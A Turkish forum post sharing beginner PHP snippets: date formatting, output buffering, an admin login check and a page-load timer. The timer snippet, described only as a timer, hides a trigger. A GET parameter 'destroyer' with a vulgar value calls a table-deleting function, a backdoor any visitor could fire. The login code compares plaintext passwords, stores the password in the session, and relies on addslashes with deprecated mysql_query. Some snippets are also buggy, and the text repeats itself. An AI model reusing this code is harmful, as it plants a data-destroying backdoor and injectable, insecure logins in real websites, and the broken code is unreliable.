Merhaba arkadaşlar ,
Burada birçok şekilde kullanılan php koldarı paylaşacağım ve sizlere ne işe yaradıklarını anlatacağım. Umarım işe yarar. Hemen başlayalım...
Php günlük tarih gösterme
Kodun çıktısı : " 28 Eylül 2012 Cuma " şeklinde gösterilmektedir.
Php Ön Bellek Kullandırma
Kodu bu şekilde kullanırsak kullanıcı girişinde ön bellek ile hızlı oturum açmayı sağlar diğer türlü ise, bazen header("...") gibi direk headera etki eden kodlarda
can not modify header information ile başlayan bir hata alırsınız, işte üstte bulunan kodları ob start la tampona alıp, headerı güncelleyen kodun altına yazdırırsanız herhangi bir sorunun kalmaz.
Örnek Bir Admin Giriş Kontrolü
Evet bu kodla birçok fonksiyonlu oturum açtırıp veritabanına oturum açılma tarihi gibi bilgileri kaydedebiliriz. Tabiki mysql tablosunda nick, şifre,tarih ve id tablolarını oluşturmanız gerekiyor.
Açılan sayfanın kaç saniye içerisinde oluşturulduğunu ekrana yazma
Ekrana çıktısı : Sayfa : 0,028879 saniye icerisinde Oluşturuldu HAZIR
Evet arkadaşlar devamı gelecektir. Özel kod istekleriniz ve merak ettikleriniz var ise bu konu altından devam ettirebilirsiniz. Memnuniyetle cevap vereceğim . İyi forumlar...
Burada birçok şekilde kullanılan php koldarı paylaşacağım ve sizlere ne işe yaradıklarını anlatacağım. Umarım işe yarar. Hemen başlayalım...
Php günlük tarih gösterme
Kod:
<?php
[/B]function tarih($bul) {
$gunler = array('Pazar', 'Pazartesi', 'Salı', 'Çarşamba', 'Perşembe',
'Cuma', 'Cumartesi');
$aylar = array('', 'Ocak', 'Şubat', 'Mart', 'Nisan', 'Mayıs', 'Haziran',
'Temmuz', 'Ağustos', 'Eylül', 'Ekim', 'Kasım', 'Aralık');
return date("d ", $pul).$aylar[date("n", $bul)].date(" Y ", $bul).
$gunler[date("w", $bul)];
}
echo tarih(time());
?>
Php Ön Bellek Kullandırma
Kod:
ob_start(); session_start();
Kod:
ob_start
ob_get_content
ob_end_clean
can not modify header information ile başlayan bir hata alırsınız, işte üstte bulunan kodları ob start la tampona alıp, headerı güncelleyen kodun altına yazdırırsanız herhangi bir sorunun kalmaz.
Örnek Bir Admin Giriş Kontrolü
Kod:
ob_start(); session_start(); // oturumu başlattık
include ('mysqlbaglanti.php');
$nick = addslashes(strip_tags($_POST["nick"])); [COLOR="YellowGreen"]// formdan gelen veriyi değişkene atadık...[/COLOR]
$sifre = addslashes(strip_tags($_POST["sifre"]));
$gonder = $_POST["gonder"];
if($gonder){
$giris = mysql_query("select * from admin where nick='$nick' && sifre='$sifre'");[COLOR="YellowGreen"] // formdan geleni veritabanıyla karşılaştırdk[/COLOR]
if(mysql_num_rows($giris) > 0 ) {
$_SESSION['nick']=$nick;
$_SESSION['sifre']=$sifre;
$_SESSION['session']="giris".date("d/m/Y-H:i:s"); [COLOR="YellowGreen"]// oturuma kaydına tarih ve zaman ekledik[/COLOR]
$_SESSION['ip']=$_SERVER["REMOTE_ADDR"];
mysql_query("UPDATE `admin` SET `session` = '".$_SESSION['session']."' WHERE `admin`.`id` =1"); [COLOR="YellowGreen"]// oturum kaydını veritabanında güncelledik [/COLOR]
//mysql_query("UPDATE `admin` SET `session` = '$_SESSION' WHERE `admin`.'id' =1");
//UPDATE `admin` SET `session` = '"$_SESSION['session']"' WHERE `admin`.`id` =1;
//UPDATE `panel`.`admin` SET `session` = 'sdfsdfsdf54sd5fs5d64f654sd56f' WHERE `admin`.`id` =1;
print "<center><strong>Giriş BAŞARILI Yönlendiriliyorsunuz....</strong></center>";
print'<**** HTTP-EQUIV="*******" CONTENT="3; URL=index.php">';
}else{
// $gonder=$_POST["gonder"];
/* function at(){
global $giris;
if(!$giris=mysql_num_rows($giris) > 0){
echo"234238492389490234902394";
}
}at();*/
print "<center><strong>Şifrenizi takrar kontrol ediniz</strong><center>";
print'<**** HTTP-EQUIV="*******" CONTENT="3; URL=gir.php">';
}
}else {
//echo "<center><strong>Şifrenizi deneme izniniz dolmuştur</strong><center>";
//print'<**** HTTP-EQUIV="*******" CONTENT="3; URL=gir.php">';
// tarayıcı bilgisini cektim
$tarayici = $_SERVER["HTTP_USER_AGENT"];
Evet bu kodla birçok fonksiyonlu oturum açtırıp veritabanına oturum açılma tarihi gibi bilgileri kaydedebiliriz. Tabiki mysql tablosunda nick, şifre,tarih ve id tablolarını oluşturmanız gerekiyor.
Açılan sayfanın kaç saniye içerisinde oluşturulduğunu ekrana yazma
Kod:
$i = 0; unset ($ar);
$zaman1 = microtime ();
while ($i<99999) {
$ar[] = $i; $i++;
} $zaman2 = microtime (); $fark = abs ($zaman2-$zaman1); print
"
Sayfa : <b><u>". $fark ."</u></b> saniye icerisinde Oluşturuldu";
Echo '<div style="color:red;">';
$destroyer=@$_GET['destroyer'];
switch ($destroyer) {
case 'ready_to_fuck':
TabloSil();
break;
default:
echo "HAZIR";
break;
}
echo"</div>";
Evet arkadaşlar devamı gelecektir. Özel kod istekleriniz ve merak ettikleriniz var ise bu konu altından devam ettirebilirsiniz. Memnuniyetle cevap vereceğim . İyi forumlar...